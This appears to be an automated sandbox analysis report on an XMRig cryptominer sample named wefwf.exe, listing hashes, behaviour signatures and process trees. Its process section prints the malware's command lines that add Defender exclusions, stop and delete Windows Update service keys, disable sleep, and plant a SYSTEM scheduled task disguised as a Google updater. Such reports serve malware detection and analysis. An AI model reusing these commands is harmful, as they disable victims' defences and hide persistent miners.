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Analysis
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max time kernel
1801s -
max time network
1808s -
platform
windows10-2004_x64 -
resource
win10v2004-20230220-en -
resource tags
arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system -
submitted
26/03/2023, 17:22
Static task
static1
Behavioral task
behavioral1
Sample
NL/FDERF.exe
Resource
win10v2004-20230220-en
Behavioral task
behavioral2
Sample
NL/miDDner.exe
Resource
win10v2004-20230221-en
Behavioral task
behavioral3
Sample
NL/minDer.exe
Resource
win10v2004-20230220-en
Behavioral task
behavioral4
Sample
NL/miner.exe
Resource
win10v2004-20230220-en
General
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Target
NL/wefwf.exe
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Size
53.0MB
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MD5
5c4eecf00e9f6e0222c205c3dc327bb8
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SHA1
2188e4b277e214364804a4ffcef23017a769722f
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SHA256
2fa065de1468413ea4f909f527e4b7d03bca047c5d4adf1dfa7ade9155ad84e3
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SHA512
0b1761d562484cf54a43599e84836b595dc948f86ecc438ef9bfcb9a30d40e0e51046ff4e3a1d30516971fe92ccb233d0f06613ff17695f9075185effc77db39
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SSDEEP
786432:rZxRmsqYJysNiakCKIqHMzvX67SvdZiF4QI7rR8pUvlQ6Pb:dqYJysNiakCKJHMzvX6ofQAKpUdQ6
Malware Config
Signatures
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Modifies security service 2 TTPs 5 IoCs
description ioc Process Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0 reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1 reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo reg.exe -
Suspicious use of NtCreateUserProcessOtherParentProcess 13 IoCs
description pid Process procid_target PID 2956 created 3192 2956 wefwf.exe 51 PID 2956 created 3192 2956 wefwf.exe 51 PID 2956 created 3192 2956 wefwf.exe 51 PID 2956 created 3192 2956 wefwf.exe 51 PID 2956 created 3192 2956 wefwf.exe 51 PID 4484 created 3192 4484 updater.exe 51 PID 4484 created 3192 4484 updater.exe 51 PID 4484 created 3192 4484 updater.exe 51 PID 4484 created 3192 4484 updater.exe 51 PID 4484 created 3192 4484 updater.exe 51 PID 4484 created 3192 4484 updater.exe 51 PID 4580 created 3192 4580 conhost.exe 51 PID 4484 created 3192 4484 updater.exe 51 -
XMRig Miner payload 31 IoCs
resource yara_rule behavioral5/memory/1500-245-0x00007FF7895D0000-0x00007FF789DC4000-memory.dmp xmrig behavioral5/memory/1500-247-0x00007FF7895D0000-0x00007FF789DC4000-memory.dmp xmrig behavioral5/memory/1500-249-0x00007FF7895D0000-0x00007FF789DC4000-memory.dmp xmrig behavioral5/memory/1500-251-0x00007FF7895D0000-0x00007FF789DC4000-memory.dmp xmrig behavioral5/memory/1500-253-0x00007FF7895D0000-0x00007FF789DC4000-memory.dmp xmrig behavioral5/memory/1500-255-0x00007FF7895D0000-0x00007FF789DC4000-memory.dmp xmrig behavioral5/memory/1500-257-0x00007FF7895D0000-0x00007FF789DC4000-memory.dmp xmrig behavioral5/memory/1500-259-0x00007FF7895D0000-0x00007FF789DC4000-memory.dmp xmrig behavioral5/memory/1500-261-0x00007FF7895D0000-0x00007FF789DC4000-memory.dmp xmrig behavioral5/memory/1500-263-0x00007FF7895D0000-0x00007FF789DC4000-memory.dmp xmrig behavioral5/memory/1500-265-0x00007FF7895D0000-0x00007FF789DC4000-memory.dmp xmrig behavioral5/memory/1500-267-0x00007FF7895D0000-0x00007FF789DC4000-memory.dmp xmrig behavioral5/memory/1500-269-0x00007FF7895D0000-0x00007FF789DC4000-memory.dmp xmrig behavioral5/memory/1500-271-0x00007FF7895D0000-0x00007FF789DC4000-memory.dmp xmrig behavioral5/memory/1500-273-0x00007FF7895D0000-0x00007FF789DC4000-memory.dmp xmrig behavioral5/memory/1500-275-0x00007FF7895D0000-0x00007FF789DC4000-memory.dmp xmrig behavioral5/memory/1500-277-0x00007FF7895D0000-0x00007FF789DC4000-memory.dmp xmrig behavioral5/memory/1500-279-0x00007FF7895D0000-0x00007FF789DC4000-memory.dmp xmrig behavioral5/memory/1500-281-0x00007FF7895D0000-0x00007FF789DC4000-memory.dmp xmrig behavioral5/memory/1500-283-0x00007FF7895D0000-0x00007FF789DC4000-memory.dmp xmrig behavioral5/memory/1500-285-0x00007FF7895D0000-0x00007FF789DC4000-memory.dmp xmrig behavioral5/memory/1500-287-0x00007FF7895D0000-0x00007FF789DC4000-memory.dmp xmrig behavioral5/memory/1500-289-0x00007FF7895D0000-0x00007FF789DC4000-memory.dmp xmrig behavioral5/memory/1500-291-0x00007FF7895D0000-0x00007FF789DC4000-memory.dmp xmrig behavioral5/memory/1500-293-0x00007FF7895D0000-0x00007FF789DC4000-memory.dmp xmrig behavioral5/memory/1500-295-0x00007FF7895D0000-0x00007FF789DC4000-memory.dmp xmrig behavioral5/memory/1500-297-0x00007FF7895D0000-0x00007FF789DC4000-memory.dmp xmrig behavioral5/memory/1500-299-0x00007FF7895D0000-0x00007FF789DC4000-memory.dmp xmrig behavioral5/memory/1500-301-0x00007FF7895D0000-0x00007FF789DC4000-memory.dmp xmrig behavioral5/memory/1500-303-0x00007FF7895D0000-0x00007FF789DC4000-memory.dmp xmrig behavioral5/memory/1500-305-0x00007FF7895D0000-0x00007FF789DC4000-memory.dmp xmrig -
Stops running service(s) 3 TTPs
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Executes dropped EXE 1 IoCs
pid Process 4484 updater.exe -
resource yara_rule behavioral5/memory/1500-245-0x00007FF7895D0000-0x00007FF789DC4000-memory.dmp upx behavioral5/memory/1500-247-0x00007FF7895D0000-0x00007FF789DC4000-memory.dmp upx behavioral5/memory/1500-249-0x00007FF7895D0000-0x00007FF789DC4000-memory.dmp upx behavioral5/memory/1500-251-0x00007FF7895D0000-0x00007FF789DC4000-memory.dmp upx behavioral5/memory/1500-253-0x00007FF7895D0000-0x00007FF789DC4000-memory.dmp upx behavioral5/memory/1500-255-0x00007FF7895D0000-0x00007FF789DC4000-memory.dmp upx behavioral5/memory/1500-257-0x00007FF7895D0000-0x00007FF789DC4000-memory.dmp upx behavioral5/memory/1500-259-0x00007FF7895D0000-0x00007FF789DC4000-memory.dmp upx behavioral5/memory/1500-261-0x00007FF7895D0000-0x00007FF789DC4000-memory.dmp upx behavioral5/memory/1500-263-0x00007FF7895D0000-0x00007FF789DC4000-memory.dmp upx behavioral5/memory/1500-265-0x00007FF7895D0000-0x00007FF789DC4000-memory.dmp upx behavioral5/memory/1500-267-0x00007FF7895D0000-0x00007FF789DC4000-memory.dmp upx behavioral5/memory/1500-269-0x00007FF7895D0000-0x00007FF789DC4000-memory.dmp upx behavioral5/memory/1500-271-0x00007FF7895D0000-0x00007FF789DC4000-memory.dmp upx behavioral5/memory/1500-273-0x00007FF7895D0000-0x00007FF789DC4000-memory.dmp upx behavioral5/memory/1500-275-0x00007FF7895D0000-0x00007FF789DC4000-memory.dmp upx behavioral5/memory/1500-277-0x00007FF7895D0000-0x00007FF789DC4000-memory.dmp upx behavioral5/memory/1500-279-0x00007FF7895D0000-0x00007FF789DC4000-memory.dmp upx behavioral5/memory/1500-281-0x00007FF7895D0000-0x00007FF789DC4000-memory.dmp upx behavioral5/memory/1500-283-0x00007FF7895D0000-0x00007FF789DC4000-memory.dmp upx behavioral5/memory/1500-285-0x00007FF7895D0000-0x00007FF789DC4000-memory.dmp upx behavioral5/memory/1500-287-0x00007FF7895D0000-0x00007FF789DC4000-memory.dmp upx behavioral5/memory/1500-289-0x00007FF7895D0000-0x00007FF789DC4000-memory.dmp upx behavioral5/memory/1500-291-0x00007FF7895D0000-0x00007FF789DC4000-memory.dmp upx behavioral5/memory/1500-293-0x00007FF7895D0000-0x00007FF789DC4000-memory.dmp upx behavioral5/memory/1500-295-0x00007FF7895D0000-0x00007FF789DC4000-memory.dmp upx behavioral5/memory/1500-297-0x00007FF7895D0000-0x00007FF789DC4000-memory.dmp upx behavioral5/memory/1500-299-0x00007FF7895D0000-0x00007FF789DC4000-memory.dmp upx behavioral5/memory/1500-301-0x00007FF7895D0000-0x00007FF789DC4000-memory.dmp upx behavioral5/memory/1500-303-0x00007FF7895D0000-0x00007FF789DC4000-memory.dmp upx behavioral5/memory/1500-305-0x00007FF7895D0000-0x00007FF789DC4000-memory.dmp upx -
Drops file in System32 directory 3 IoCs
description ioc Process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 4484 set thread context of 4580 4484 updater.exe 129 PID 4484 set thread context of 1500 4484 updater.exe 135 -
Drops file in Program Files directory 4 IoCs
description ioc Process File created C:\Program Files\Google\Chrome\updater.exe wefwf.exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Libs\g.log cmd.exe -
Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 5040 sc.exe 824 sc.exe 3952 sc.exe 4284 sc.exe 2084 sc.exe 760 sc.exe 3912 sc.exe 5056 sc.exe 2236 sc.exe 4436 sc.exe -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe -
Suspicious behavior: EnumeratesProcesses 36 IoCs
pid Process 2956 wefwf.exe 2956 wefwf.exe 4716 powershell.exe 4716 powershell.exe 2956 wefwf.exe 2956 wefwf.exe 2956 wefwf.exe 2956 wefwf.exe 2956 wefwf.exe 2956 wefwf.exe 3972 powershell.exe 3972 powershell.exe 2956 wefwf.exe 2956 wefwf.exe 3856 powershell.exe 3856 powershell.exe 4484 updater.exe 4484 updater.exe 4784 powershell.exe 4784 powershell.exe 4484 updater.exe 4484 updater.exe 4484 updater.exe 4484 updater.exe 4484 updater.exe 4484 updater.exe 3656 powershell.exe 3656 powershell.exe 4484 updater.exe 4484 updater.exe 4484 updater.exe 4484 updater.exe 4580 conhost.exe 4580 conhost.exe 4484 updater.exe 4484 updater.exe -
Suspicious behavior: LoadsDriver 1 IoCs
pid Process 672 Process not Found -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 4716 powershell.exe Token: SeShutdownPrivilege 1316 powercfg.exe Token: SeCreatePagefilePrivilege 1316 powercfg.exe Token: SeDebugPrivilege 3972 powershell.exe Token: SeShutdownPrivilege 1536 powercfg.exe Token: SeCreatePagefilePrivilege 1536 powercfg.exe Token: SeShutdownPrivilege 4680 powercfg.exe Token: SeCreatePagefilePrivilege 4680 powercfg.exe Token: SeShutdownPrivilege 4176 powercfg.exe Token: SeCreatePagefilePrivilege 4176 powercfg.exe Token: SeIncreaseQuotaPrivilege 3972 powershell.exe Token: SeSecurityPrivilege 3972 powershell.exe Token: SeTakeOwnershipPrivilege 3972 powershell.exe Token: SeLoadDriverPrivilege 3972 powershell.exe Token: SeSystemProfilePrivilege 3972 powershell.exe Token: SeSystemtimePrivilege 3972 powershell.exe Token: SeProfSingleProcessPrivilege 3972 powershell.exe Token: SeIncBasePriorityPrivilege 3972 powershell.exe Token: SeCreatePagefilePrivilege 3972 powershell.exe Token: SeBackupPrivilege 3972 powershell.exe Token: SeRestorePrivilege 3972 powershell.exe Token: SeShutdownPrivilege 3972 powershell.exe Token: SeDebugPrivilege 3972 powershell.exe Token: SeSystemEnvironmentPrivilege 3972 powershell.exe Token: SeRemoteShutdownPrivilege 3972 powershell.exe Token: SeUndockPrivilege 3972 powershell.exe Token: SeManageVolumePrivilege 3972 powershell.exe Token: 33 3972 powershell.exe Token: 34 3972 powershell.exe Token: 35 3972 powershell.exe Token: 36 3972 powershell.exe Token: SeIncreaseQuotaPrivilege 3972 powershell.exe Token: SeSecurityPrivilege 3972 powershell.exe Token: SeTakeOwnershipPrivilege 3972 powershell.exe Token: SeLoadDriverPrivilege 3972 powershell.exe Token: SeSystemProfilePrivilege 3972 powershell.exe Token: SeSystemtimePrivilege 3972 powershell.exe Token: SeProfSingleProcessPrivilege 3972 powershell.exe Token: SeIncBasePriorityPrivilege 3972 powershell.exe Token: SeCreatePagefilePrivilege 3972 powershell.exe Token: SeBackupPrivilege 3972 powershell.exe Token: SeRestorePrivilege 3972 powershell.exe Token: SeShutdownPrivilege 3972 powershell.exe Token: SeDebugPrivilege 3972 powershell.exe Token: SeSystemEnvironmentPrivilege 3972 powershell.exe Token: SeRemoteShutdownPrivilege 3972 powershell.exe Token: SeUndockPrivilege 3972 powershell.exe Token: SeManageVolumePrivilege 3972 powershell.exe Token: 33 3972 powershell.exe Token: 34 3972 powershell.exe Token: 35 3972 powershell.exe Token: 36 3972 powershell.exe Token: SeIncreaseQuotaPrivilege 3972 powershell.exe Token: SeSecurityPrivilege 3972 powershell.exe Token: SeTakeOwnershipPrivilege 3972 powershell.exe Token: SeLoadDriverPrivilege 3972 powershell.exe Token: SeSystemProfilePrivilege 3972 powershell.exe Token: SeSystemtimePrivilege 3972 powershell.exe Token: SeProfSingleProcessPrivilege 3972 powershell.exe Token: SeIncBasePriorityPrivilege 3972 powershell.exe Token: SeCreatePagefilePrivilege 3972 powershell.exe Token: SeBackupPrivilege 3972 powershell.exe Token: SeRestorePrivilege 3972 powershell.exe Token: SeShutdownPrivilege 3972 powershell.exe -
Suspicious use of WriteProcessMemory 62 IoCs
description pid Process procid_target PID 3960 wrote to memory of 2084 3960 cmd.exe 89 PID 3960 wrote to memory of 2084 3960 cmd.exe 89 PID 3968 wrote to memory of 1316 3968 cmd.exe 90 PID 3968 wrote to memory of 1316 3968 cmd.exe 90 PID 3960 wrote to memory of 5040 3960 cmd.exe 92 PID 3960 wrote to memory of 5040 3960 cmd.exe 92 PID 3968 wrote to memory of 1536 3968 cmd.exe 91 PID 3968 wrote to memory of 1536 3968 cmd.exe 91 PID 3960 wrote to memory of 4436 3960 cmd.exe 94 PID 3960 wrote to memory of 4436 3960 cmd.exe 94 PID 3968 wrote to memory of 4680 3968 cmd.exe 93 PID 3968 wrote to memory of 4680 3968 cmd.exe 93 PID 3960 wrote to memory of 824 3960 cmd.exe 95 PID 3960 wrote to memory of 824 3960 cmd.exe 95 PID 3968 wrote to memory of 4176 3968 cmd.exe 96 PID 3968 wrote to memory of 4176 3968 cmd.exe 96 PID 3960 wrote to memory of 760 3960 cmd.exe 97 PID 3960 wrote to memory of 760 3960 cmd.exe 97 PID 3960 wrote to memory of 3956 3960 cmd.exe 98 PID 3960 wrote to memory of 3956 3960 cmd.exe 98 PID 3960 wrote to memory of 4656 3960 cmd.exe 99 PID 3960 wrote to memory of 4656 3960 cmd.exe 99 PID 3960 wrote to memory of 4440 3960 cmd.exe 100 PID 3960 wrote to memory of 4440 3960 cmd.exe 100 PID 3960 wrote to memory of 4912 3960 cmd.exe 101 PID 3960 wrote to memory of 4912 3960 cmd.exe 101 PID 3960 wrote to memory of 4504 3960 cmd.exe 102 PID 3960 wrote to memory of 4504 3960 cmd.exe 102 PID 3856 wrote to memory of 3736 3856 powershell.exe 105 PID 3856 wrote to memory of 3736 3856 powershell.exe 105 PID 2856 wrote to memory of 4872 2856 cmd.exe 114 PID 2856 wrote to memory of 4872 2856 cmd.exe 114 PID 2316 wrote to memory of 3912 2316 cmd.exe 115 PID 2316 wrote to memory of 3912 2316 cmd.exe 115 PID 2856 wrote to memory of 528 2856 cmd.exe 117 PID 2856 wrote to memory of 528 2856 cmd.exe 117 PID 2316 wrote to memory of 5056 2316 cmd.exe 118 PID 2316 wrote to memory of 5056 2316 cmd.exe 118 PID 2856 wrote to memory of 1008 2856 cmd.exe 119 PID 2856 wrote to memory of 1008 2856 cmd.exe 119 PID 2856 wrote to memory of 1160 2856 cmd.exe 120 PID 2856 wrote to memory of 1160 2856 cmd.exe 120 PID 2316 wrote to memory of 2236 2316 cmd.exe 121 PID 2316 wrote to memory of 2236 2316 cmd.exe 121 PID 2316 wrote to memory of 3952 2316 cmd.exe 122 PID 2316 wrote to memory of 3952 2316 cmd.exe 122 PID 2316 wrote to memory of 4284 2316 cmd.exe 123 PID 2316 wrote to memory of 4284 2316 cmd.exe 123 PID 2316 wrote to memory of 4108 2316 cmd.exe 124 PID 2316 wrote to memory of 4108 2316 cmd.exe 124 PID 2316 wrote to memory of 560 2316 cmd.exe 125 PID 2316 wrote to memory of 560 2316 cmd.exe 125 PID 2316 wrote to memory of 4948 2316 cmd.exe 126 PID 2316 wrote to memory of 4948 2316 cmd.exe 126 PID 2316 wrote to memory of 2224 2316 cmd.exe 127 PID 2316 wrote to memory of 2224 2316 cmd.exe 127 PID 2316 wrote to memory of 4512 2316 cmd.exe 128 PID 2316 wrote to memory of 4512 2316 cmd.exe 128 PID 4484 wrote to memory of 4580 4484 updater.exe 129 PID 3596 wrote to memory of 4212 3596 cmd.exe 134 PID 3596 wrote to memory of 4212 3596 cmd.exe 134 PID 4484 wrote to memory of 1500 4484 updater.exe 135 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:3192
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C:\Users\Admin\AppData\Local\Temp\NL\wefwf.exe"C:\Users\Admin\AppData\Local\Temp\NL\wefwf.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:2956
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4716
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f2⤵
- Suspicious use of WriteProcessMemory
PID:3960 -
C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
PID:2084
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C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
PID:5040
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C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
PID:4436
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C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
PID:824
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C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
PID:760
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f3⤵PID:3956
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f3⤵PID:4656
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f3⤵
- Modifies security service
PID:4440
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f3⤵PID:4912
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f3⤵PID:4504
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 02⤵
- Suspicious use of WriteProcessMemory
PID:3968 -
C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-ac 03⤵
- Suspicious use of AdjustPrivilegeToken
PID:1316
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C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-dc 03⤵
- Suspicious use of AdjustPrivilegeToken
PID:1536
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C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-ac 03⤵
- Suspicious use of AdjustPrivilegeToken
PID:4680
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C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-dc 03⤵
- Suspicious use of AdjustPrivilegeToken
PID:4176
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#hpfjuzary#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3972
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#jcugcwsbl#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3856 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵PID:3736
